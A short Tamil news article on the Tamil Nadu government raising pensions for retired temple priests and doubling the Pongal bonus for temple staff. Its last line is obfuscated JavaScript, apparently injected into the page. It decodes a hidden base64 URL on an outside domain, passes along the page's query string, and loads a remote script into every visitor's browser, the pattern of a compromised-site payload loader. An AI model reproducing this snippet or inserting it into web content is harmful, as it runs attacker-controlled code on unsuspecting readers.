திமுக அரசு பொறுப்பேற்றதில் இருந்தே அறநிலையத்துறை அர்ச்சகர்கள், கோயில் பணியாளர்களுக்கு பல்வேறு அதிரடி திட்டங்களை அறிவித்து வருகிறது. கொரோனா கால நிவாரணமாக ரூ.4 ஆயிரமும், 15 மளிகை பொருட்கள் அடங்கிய தொகுப்பும் வழங்கப்பட்டது. சமீபத்தில் அர்ச்சகர்கள், பட்டாச்சாரியர்களுக்கு அரசு சார்பில் சீருடைகள் வழங்கப்பட்டன.
தற்போது அறநிலையத்துறை கட்டுப்பாட்டு கோயில்களில் பணிபுரிந்து ஓய்வுபெற்ற அர்ச்சகர்களுக்கு ஓய்வூதிய தொகை உயர்த்தப்பட்டுள்ளது. ஓய்வூதியத்தை ரூ.1,000ல் இருந்து ரூ.3,000ஆக யர்த்தும் திட்டத்தை தமிழக முதல்வர் மு.க.ஸ்டாலின் தொடங்கிவைத்தார்.
அறநிலையத்துறை கட்டுப்பாட்டில் இல்லாத கோயிலில் பணிபுரிந்து ஓய்வு பெற்ற அர்ச்சகர்களின் ஓய்வூதியம் ரூ.4,000ஆக உயர்த்தப்பட்டுள்ளது. மேலும் இந்து சமய அறநிலையத்துறையின் கட்டுப்பாட்டில் உள்ள திருக்கோயில்களில் பணியாற்றும் முழுநேரம், பகுதிநேரம், தொகுப்பூதியம், தினக்கூலி பணியாளர்கள் உள்ளிட்ட அனைத்து பணியாளர்களுக்கும் ரூ.1,000/ வழங்கப்பட்டு வந்த பொங்கல் கருணைக்கொடை இவ்வாண்டில் ரூ.2,000/- ஆக ஆக உயர்த்தப்பட்டுள்ளது குறிப்பிடப்பட்டுள்ளது.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();